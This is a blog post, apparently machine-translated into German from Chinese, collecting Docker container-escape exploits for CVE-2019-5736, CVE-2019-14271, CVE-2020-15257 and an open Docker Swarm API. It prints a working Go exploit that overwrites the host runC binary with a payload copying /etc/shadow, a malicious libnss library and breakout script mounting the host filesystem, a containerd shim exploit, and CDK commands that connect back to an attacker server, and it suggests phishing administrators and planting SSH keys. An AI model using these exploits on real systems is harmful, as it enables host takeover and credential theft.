Zusammenfassung der häufigsten Schwachstellen im Docker-Container

Folgen Sie dem offiziellen WeChat-Konto „Network Security Learning Circle“, antworten Sie mit dem Passwort [Netzwerksicherheit] und erhalten Sie sofort die neuesten Tutorials zur Internetsicherheit für die ganze Familie .

Docker-RunC-Schwachstelle verursacht Container-Escape (CVE-2019-5736)

Nutzungsbedingungen

  • Docker-Version < 18.09.2

  • RunC-Version <1.0-rc6

  • Der Angreifer hat die Berechtigung, die Containerdatei hochzuladen und der Administrator verwendet exec, um auf den Container zuzugreifen || Der Angreifer hat die Berechtigung, den Container zu starten

Verletzlichkeitsprinzip

Ein Angreifer kann runC dazu verleiten, sich selbst auszuführen, indem er die Zieldatei im Container durch eine eigene Datei ersetzt, die auf runC verweist. Wenn die Zieldatei beispielsweise /bin/bash ist, ersetzen Sie sie durch ein ausführbares Skript, das den Interpreterpfad als #!/proc/self/exe angibt. Wenn /bin/bash im Container ausgeführt wird, /proc/self/ exe wird ausgeführt. Zeigen Sie auf die runC-Datei auf dem Host. Der Angreifer kann dann weiter in /proc/self/exe schreiben und versuchen, die runC-Datei auf dem Host zu überschreiben. Im Allgemeinen gelingt dies jedoch nicht, da der Kernel das Überschreiben während der Ausführung von runC nicht zulässt. Um dieses Problem zu lösen, kann ein Angreifer den Dateideskriptor von /proc/self/exe mit dem O_PATH-Flag öffnen, dann die Datei über /proc/self/fd/<nr> mit dem O_WRONLY-Flag erneut öffnen und versuchen, die Datei abzurufen Von einem separaten Prozess wird in diese Datei geschrieben. Das Überschreiben ist erfolgreich, wenn runC beendet wird. Danach kann runC zum Angriff auf andere Container oder Hosts verwendet werden.

Schwachstellen-POC

package main

// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
  "fmt"
  "io/ioutil"
  "os"
  "strconv"
  "strings"
)

// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow"

func main() {
  // First we overwrite /bin/sh with the /proc/self/exe interpreter path
  fd, err := os.Create("/bin/sh")
  if err != nil {
    fmt.Println(err)
    return
  }
  fmt.Fprintln(fd, "#!/proc/self/exe")
  err = fd.Close()
  if err != nil {
    fmt.Println(err)
    return
  }
  fmt.Println("[+] Overwritten /bin/sh successfully")

  // Loop through all processes to find one whose cmdline includes runcinit
  // This will be the process created by runc
  var found int
  for found == 0 {
    pids, err := ioutil.ReadDir("/proc")
    if err != nil {
      fmt.Println(err)
      return
    }
    for _, f := range pids {
      fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
      fstring := string(fbytes)
      if strings.Contains(fstring, "runc") {
        fmt.Println("[+] Found the PID:", f.Name())
        found, err = strconv.Atoi(f.Name())
        if err != nil {
          fmt.Println(err)
          return
        }
      }
    }
  }

  // We will use the pid to get a file handle for runc on the host.
  var handleFd = -1
  for handleFd == -1 {
    // Note, you do not need to use the O_PATH flag for the exploit to work.
    handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
    if int(handle.Fd()) > 0 {
      handleFd = int(handle.Fd())
    }
  }
  fmt.Println("[+] Successfully got the file handle")

  // Now that we have the file handle, lets write to the runc binary and overwrite it
  // It will maintain it's executable flag
  for {
    writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
    if int(writeHandle.Fd()) > 0 {
      fmt.Println("[+] Successfully got write handle", writeHandle)
      writeHandle.Write([]byte(payload))
      return
    }
  }
}

 

ausbeuten

#攻击者在容器内执行
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go #编译POC
chmod 777 main
./main #执行Payload

In Zukunft können Sie Phishing-E-Mails und andere Techniken kombinieren, um darauf zu warten, dass das Betriebs- und Wartungspersonal über exec auf das /bin/bash des Containers zugreift. Verwenden Sie den folgenden Befehl:

sudo docker exec -it  cafa20cfb0f9 /bin/sh

Ref:

https://github.com/Frichetten/CVE-2019-5736-PoC

https://www.anquanke.com/post/id/170762

Docker-CP-Sicherheitslücke verursacht Container-Escape (CVE-CVE-2019-14271)

Nutzungsbedingungen

  • Docker-Version == 19.03 && <19.03.1

Verletzlichkeitsprinzip

Docker ist in Golang geschrieben, und genauer gesagt wird die anfällige Version von Docker mit Go v1.11 kompiliert. In dieser Version laden einige Pakete, die eingebetteten C-Code (cgo) enthalten, gemeinsam genutzte Bibliotheken zur Laufzeit dynamisch. Zu diesen Paketen gehören net und os/user. Docker-tar verwendet diese beiden Pakete und lädt zur Laufzeit dynamisch einige libnss_*.so-Bibliotheken. Normalerweise werden Bibliotheken aus dem Dateisystem des Hosts geladen. Da Docker-Tar jedoch in den Container chrootet, werden diese Bibliotheken aus dem Dateisystem des Containers geladen. Das bedeutet, dass Docker-Tar Container-gesteuerten Code lädt und ausführt.

Schwachstellen-POC

Böswillig also: libnss_files.so von C

#include ...

#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"

bool is_priviliged();

__attribute__ ((constructor)) void run_at_link(void)
{
     char * argv_break[2];
     if (!is_priviliged())
           return;

     rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
     fprintf(log_fp, "switched back to the original libnss_file.so");

     if (!fork())
     {

           // Child runs breakout
           argv_break[0] = strdup("/breakout");
           argv_break[1] = NULL;
           execve("/breakout", argv_break, NULL);
     }
     else
           wait(NULL); // Wait for child

     return;
}
bool is_priviliged()
{
     FILE * proc_file = fopen("/proc/self/exe", "r");
     if (proc_file != NULL)
     {
           fclose(proc_file);
           return false; // can open so /proc exists, not privileged
     }
     return true; // we're running in the context of docker-tar
}

Breakout-Skript

#!/bin/bash

umount /host_fs && rm -rf /host_fs
mkdir /host_fs


mount -t proc none /proc     # mount the host's procfs over /proc
cd /proc/1/root              # chdir to host's root
mount --bind . /host_fs      # mount host root at /host_fs
echo "Hello from within the container!" > /host_fs/evil

ausbeuten

Es muss verbessert werden und wurde noch nicht reproduziert. Die allgemeine Idee ist wie folgt

1. Kompilieren Sie libnss_files.c zu libnss_files.so

2. Ändern Sie das Breakout-Skript, indem Sie beispielsweise einen SSH-Schlüssel schreiben usw.

3. Warten Sie oder verwenden Sie Phishing-E-Mails oder andere Mittel, um das Betriebs- und Wartungspersonal dazu zu bringen, Docker CP auszuführen

Ref:

https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/

Docker-Container-Schwachstelle verursacht Container-Escape (CVE-2020-15257)

Nutzungsbedingungen

  • Containerd < 1.4.3

  • Containerd < 1.3.9

  • Verwenden Sie den Netzwerkmodus „hostnetwork“, um den Container zu starten. Verwenden Sie den Root-Benutzer (UID:0), um den Container zu starten

Verletzlichkeitsprinzip

Im Hostnetzwerk-Netzwerkmodus teilen sich der Container und der Host den Netzwerk-Namespace, sodass innerhalb des Containers auf die hostspezifische Socket-Datei (shim.sock) zugegriffen werden kann. Indem Sie einen neuen Container starten und den Container im Host-Verzeichnis an das /host-Verzeichnis des Containers hängen, können Sie vollständigen Lese- und Schreibzugriff auf den Host erhalten.

Schwachstellen-POC

package main

import (
    "context"
    "errors"
    "io/ioutil"
    "log"
    "net"
    "regexp"
    "strings"

    "github.com/containerd/ttrpc"
    "github.com/gogo/protobuf/types"
)

func exp(sock string) bool {
    sock = strings.Replace(sock, "@", "", -1)
    conn, err := net.Dial("unix", "\x00"+sock)
    if err != nil {
        log.Println(err)
        return false
    }

    client := ttrpc.NewClient(conn)
    shimClient := NewShimClient(client)
    ctx := context.Background()
    info, err := shimClient.ShimInfo(ctx, &types.Empty{})
    if err != nil {
        log.Println("rpc error:", err)
        return false
    }

    log.Println("shim pid:", info.ShimPid)
    return true
}

func getShimSockets() ([][]byte, error) {
    re, err := regexp.Compile("@/containerd-shim/.*\\.sock")
    if err != nil {
        return nil, err
    }
    data, err := ioutil.ReadFile("/proc/net/unix")
    matches := re.FindAll(data, -1)
    if matches == nil {
        return nil, errors.New("Cannot find vulnerable socket")
    }
    return matches, nil
}

func main() {
    matchset := make(map[string]bool)
    socks, err := getShimSockets()
    if err != nil {
        log.Fatalln(err)
    }
    for _, b := range socks {
        sockname := string(b)
        if _, ok := matchset[sockname]; ok {
            continue
        }
        log.Println("try socket:", sockname)
        matchset[sockname] = true
        if exp(sockname) {
            break
        }
    }

    return
}

ausbeuten

1. Laden Sie das Container-Penetrations-Toolkit herunter

https://github.com/cdk-team/CDK/releases/tag/v1.0.1

2. Hören Sie den NC-Port des Servers ab

3.

chmod +x cdk_linux_amd64
./cdk_linux_amd64 run shim-pwn <自己服务器IP> <NC端口>

Ref:

https://www.cdxy.me/?p=837

https://zhuanlan.zhihu.com/p/332334413

Unbefugter Zugriff auf Docker-Swarm führt zur Befehlsausführung

Nutzungsbedingungen

  • Verwenden Sie Docker Swarm und erlegen Sie keine Einschränkungen für den Zugriff auf Port 2375 auf.

Verletzlichkeitsprinzip

Bei Verwendung von Docker Swarm wird ein TCP-Port 2375 auf dem verwalteten Docker-Knoten geöffnet und an 0.0.0.0 gebunden. Der HTTP-Zugriff gibt 404 „Seite nicht gefunden“ zurück. Tatsächlich handelt es sich hierbei um die Docker-Remote-API, die Docker-Befehle ausführen kann, z as access http://host:2375/containers/json gibt die Liste der Container zurück, die derzeit auf dem Server ausgeführt werden, was den gleichen Effekt hat wie das Ausführen von Docker ps auf der Docker-CLI. Andere Vorgänge wie das Erstellen/Löschen von Containern und das Abrufen von Bildern usw. können auch über die API erfolgen. Der Aufruf ist abgeschlossen.

Schwachstellen-POC

docker -H tcp://x.x.x.x:2375 ps

ausbeuten

Es kann verwendet werden, indem das Hostverzeichnis gemountet und dann crontab verwendet oder ein SSH-Schlüssel geschrieben wird.

 

Supongo que te gusta

Origin blog.csdn.net/weixin_41692221/article/details/131474904
Recomendado
Clasificación